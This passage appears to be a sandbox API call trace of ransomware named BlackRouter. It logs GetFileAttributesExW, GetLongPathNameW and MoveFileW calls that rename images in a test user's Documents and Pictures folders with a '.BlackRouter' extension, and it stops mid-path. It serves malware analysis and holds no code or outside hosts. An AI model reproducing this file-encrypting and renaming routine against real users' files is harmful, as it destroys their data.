GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.428] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.429] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.429] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.432] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x1730f [0042.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\65UQRJsfH0n-ljBMHx5X.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\65uqrjsfh0n-ljbmhx5x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9f2ea0, ftCreationTime.dwHighDateTime=0x1d45e64, ftLastAccessTime.dwLowDateTime=0xa1f1a540, ftLastAccessTime.dwHighDateTime=0x1d4661d, ftLastWriteTime.dwLowDateTime=0xbfcfe2d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17310)) returned 1 [0042.439] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\65UQRJsfH0n-ljBMHx5X.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\65uqrjsfh0n-ljbmhx5x.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\65UQRJsfH0n-ljBMHx5X.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\65uqrjsfh0n-ljbmhx5x.gif.blackrouter")) returned 1 [0042.442] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.442] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.443] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.443] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.445] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xe098 [0042.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\NeOnfI7ycBAvCv-RS.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\neonfi7ycbavcv-rs.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b6530, ftCreationTime.dwHighDateTime=0x1d45c3b, ftLastAccessTime.dwLowDateTime=0x623657c0, ftLastAccessTime.dwHighDateTime=0x1d45baf, ftLastWriteTime.dwLowDateTime=0xbfcfe2d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe0a0)) returned 1 [0042.450] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\NeOnfI7ycBAvCv-RS.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\neonfi7ycbavcv-rs.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\NeOnfI7ycBAvCv-RS.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\neonfi7ycbavcv-rs.bmp.blackrouter")) returned 1 [0042.455] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.455] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.456] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.456] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.459] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xf9d1 [0042.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\gzgPUh-9dyS0_ke9_L.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\gzgpuh-9dys0_ke9_l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaab67aa0, ftCreationTime.dwHighDateTime=0x1d46331, ftLastAccessTime.dwLowDateTime=0x898426f0, ftLastAccessTime.dwHighDateTime=0x1d45aa5, ftLastWriteTime.dwLowDateTime=0xbfd24430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf9e0)) returned 1 [0042.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\gzgPUh-9dyS0_ke9_L.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\gzgpuh-9dys0_ke9_l.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\gzgPUh-9dyS0_ke9_L.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\gzgpuh-9dys0_ke9_l.gif.blackrouter")) returned 1 [0042.465] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xb356 [0042.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\yjSZbLeuEgVN7hL8xoE.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\yjszbleuegvn7hl8xoe.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c00cfc0, ftCreationTime.dwHighDateTime=0x1d462a7, ftLastAccessTime.dwLowDateTime=0xeb3668f0, ftLastAccessTime.dwHighDateTime=0x1d45eff, ftLastWriteTime.dwLowDateTime=0xbfd4a590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb360)) returned 1 [0042.470] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\yjSZbLeuEgVN7hL8xoE.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\yjszbleuegvn7hl8xoe.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\yjSZbLeuEgVN7hL8xoE.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\yjszbleuegvn7hl8xoe.gif.blackrouter")) returned 1 [0042.470] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc653 [0042.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\0 nRnU2pOKjV1 7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\0 nrnu2pokjv1 7.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d76d0, ftCreationTime.dwHighDateTime=0x1d46141, ftLastAccessTime.dwLowDateTime=0xfc564270, ftLastAccessTime.dwHighDateTime=0x1d46087, ftLastWriteTime.dwLowDateTime=0xbfd4a590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc660)) returned 1 [0042.475] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\0 nRnU2pOKjV1 7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\0 nrnu2pokjv1 7.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\0 nRnU2pOKjV1 7.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\0 nrnu2pokjv1 7.png.blackrouter")) returned 1 [0042.475] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xa012 [0042.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\gw_tKLN7N.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\gw_tkln7n.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x349ef450, ftCreationTime.dwHighDateTime=0x1d45b2f, ftLastAccessTime.dwLowDateTime=0x82922d00, ftLastAccessTime.dwHighDateTime=0x1d460d7, ftLastWriteTime.dwLowDateTime=0xbfd4a590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa020)) returned 1 [0042.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\gw_tKLN7N.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\gw_tkln7n.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\gw_tKLN7N.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\gw_tkln7n.png.blackrouter")) returned 1 [0042.480] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xf6b5 [0042.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\s_2tYeIi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\s_2tyeii.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a392560, ftCreationTime.dwHighDateTime=0x1d4607a, ftLastAccessTime.dwLowDateTime=0xc7ab3390, ftLastAccessTime.dwHighDateTime=0x1d45fa7, ftLastWriteTime.dwLowDateTime=0xbfd706f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf6c0)) returned 1 [0042.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\s_2tYeIi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\s_2tyeii.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\s_2tYeIi.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\s_2tyeii.png.blackrouter")) returned 1 [0042.485] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc53b [0042.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\oWfkMlT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\owfkmlt.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x346089b0, ftCreationTime.dwHighDateTime=0x1d465cd, ftLastAccessTime.dwLowDateTime=0xbaf7fbb0, ftLastAccessTime.dwHighDateTime=0x1d45d5e, ftLastWriteTime.dwLowDateTime=0xbfd706f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc540)) returned 1 [0042.490] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\oWfkMlT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\owfkmlt.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\oWfkMlT.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\owfkmlt.bmp.blackrouter")) returned 1 [0042.490] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xff80 [0042.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\lZU_bvYu FIQ15J8h.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\lzu_bvyu fiq15j8h.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ee800, ftCreationTime.dwHighDateTime=0x1d46171, ftLastAccessTime.dwLowDateTime=0x83d47d50, ftLastAccessTime.dwHighDateTime=0x1d46161, ftLastWriteTime.dwLowDateTime=0xbfd706f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xff90)) returned 1 [0042.495] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\lZU_bvYu FIQ15J8h.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\lzu_bvyu fiq15j8h.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\lZU_bvYu FIQ15J8h.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\59v6tcks3ajcd\\lzu_bvyu fiq15j8h.jpg.blackrouter")) returned 1 [0042.499] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.499] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.501] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.501] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.505] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xa577 [0042.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\W7n71-ymge_j 2l5YBR.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\w7n71-ymge_j 2l5ybr.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e0c5d0, ftCreationTime.dwHighDateTime=0x1d45957, ftLastAccessTime.dwLowDateTime=0x5abf6b30, ftLastAccessTime.dwHighDateTime=0x1d464a6, ftLastWriteTime.dwLowDateTime=0xbfd96850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa580)) returned 1 [0042.509] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\W7n71-ymge_j 2l5YBR.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\w7n71-ymge_j 2l5ybr.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\W7n71-ymge_j 2l5YBR.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\w7n71-ymge_j 2l5ybr.bmp.blackrouter")) returned 1 [0042.517] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc20c [0042.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\nkG7oM9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\nkg7om9.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478160b0, ftCreationTime.dwHighDateTime=0x1d4606d, ftLastAccessTime.dwLowDateTime=0x3ae942e0, ftLastAccessTime.dwHighDateTime=0x1d45aab, ftLastWriteTime.dwLowDateTime=0xbfdbc9b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc210)) returned 1 [0042.522] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\nkG7oM9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\nkg7om9.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\nkG7oM9.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\nkg7om9.jpg.blackrouter")) returned 1 [0042.526] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.526] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.527] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.527] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.530] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x46b1 [0042.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\6IoZr8UtIzewHwC48.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\6iozr8utizewhwc48.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61f0b0, ftCreationTime.dwHighDateTime=0x1d4617a, ftLastAccessTime.dwLowDateTime=0x68360f50, ftLastAccessTime.dwHighDateTime=0x1d45dc9, ftLastWriteTime.dwLowDateTime=0xbfde2b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x46c0)) returned 1 [0042.533] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\6IoZr8UtIzewHwC48.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\6iozr8utizewhwc48.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\6IoZr8UtIzewHwC48.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\6iozr8utizewhwc48.jpg.blackrouter")) returned 1 [0042.537] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.537] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.538] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.538] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.541] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x146c6 [0042.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\zU5YUGfB5ftmJPNYcO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\zu5yugfb5ftmjpnyco.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73854530, ftCreationTime.dwHighDateTime=0x1d45b42, ftLastAccessTime.dwLowDateTime=0x66013b40, ftLastAccessTime.dwHighDateTime=0x1d45e48, ftLastWriteTime.dwLowDateTime=0xbfe08c70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x146d0)) returned 1 [0042.548] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\zU5YUGfB5ftmJPNYcO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\zu5yugfb5ftmjpnyco.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 